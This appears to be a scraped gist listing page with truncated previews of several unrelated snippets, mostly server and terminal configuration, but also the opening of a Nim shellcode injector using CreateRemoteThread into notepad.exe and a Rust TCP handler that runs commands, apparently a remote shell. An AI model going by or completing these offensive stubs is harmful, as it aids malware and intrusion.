This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: "3.7" | |
services: | |
web: | |
image: nginx:latest | |
deploy: | |
replicas: 2 | |
networks: | |
- blog-net | |
ports: | |
- 80:80 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# With special thanks to byt3bl33d3r for Offensive Nim! | |
import winim/lean | |
import osproc | |
import base64 | |
import sequtils | |
import strutils | |
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = | |
let tProcess = startProcess("notepad.exe") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
New-VMSwitch -SwitchName "NATSwitch" -SwitchType Internal | |
New-NetIPAddress -IPAddress 192.168.10.1 -PrefixLength 24 -InterfaceAlias "vEthernet (NATSwitch)" | |
New-NetNAT -Name "NATNetwork" -InternalIPInterfaceAddressPrefix 192.168.10.0/24 | |
# Make sure target VM has an interfaces on the new switch | |
Add-NetNatStaticMapping -ExternalIPAddress "0.0.0.0/24" -ExternalPort 22 -Protocol TCP -InternalIPAddress "192.168.10.2" -InternalPort 22 -NatName NATNetwork |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{ | |
net::{TcpStream}, | |
io::{Write, BufReader, BufWriter, BufRead}, | |
process::Command | |
}; | |
fn handle_client(stream: TcpStream) { | |
println!("Connection from {}", stream.peer_addr().unwrap()); | |
// Create BufReader and BufWriter for easy work | |
let mut stream_write = BufWriter::new( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
FUNCTIONAL IP SUBNET CALCULATOR/GENERATOR | |
""" | |
import sys | |
from functools import reduce | |
def is_ip(ip_string: str) -> bool: | |
try: | |
return all(map(lambda o: int(o) in range(0, 256), ip_string.split("."))) | |
except ValueError: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Usage: As admin: | |
# .\Stop-VM.ps1 "My VM Name" | |
$id = Get-VM $args[0] | select Id | |
$VMWMProc = (Get-WMIObject Win32_Process | ? {$_.Name -match 'VMWP' -and $_.CommandLine -match $id }) | |
Stop-Process ($VMWMProc.ProcessId) -Force |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Generated by nginxconfig.io | |
# https://www.serverion.com/nginx-config/#?0.redirect=false&0.http2=false&0.hsts=false&0.cert_type=custom&0.php=false&0.index=index.html&resolver_cloudflare=false&resolver_google=false&resolver_opendns=false&file_structure=unified | |
user www-data; | |
pid /run/nginx.pid; | |
worker_processes auto; | |
worker_rlimit_nofile 65535; | |
events { | |
multi_accept on; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# List of plugins | |
set -g @plugin 'tmux-plugins/tpm' | |
set -g @plugin 'tmux-plugins/tmux-sensible' | |
set -g @plugin 'tmux-plugins/tmux-resurrect' | |
set -g @plugin 'tmux-plugins/tmux-yank' | |
set -g @plugin 'dracula/tmux' | |
# available plugins: battery, cpu-usage, gpu-usage, ram-usage, network, network-bandwith, weather, time | |
set -g @dracula-plugins "cpu-usage ram-usage time" | |
set -g @dracula-show-powerline true | |
set -g @dracula-show-left-icon λ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.querySelector(".button--block").innerHTML="Toot!"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$password = "1aa1521ec35ba5cd93021cb142f4bf11"; | |
define('VERSION','Project'); | |
$register_key = array | |
( | |
array |
OlderNewer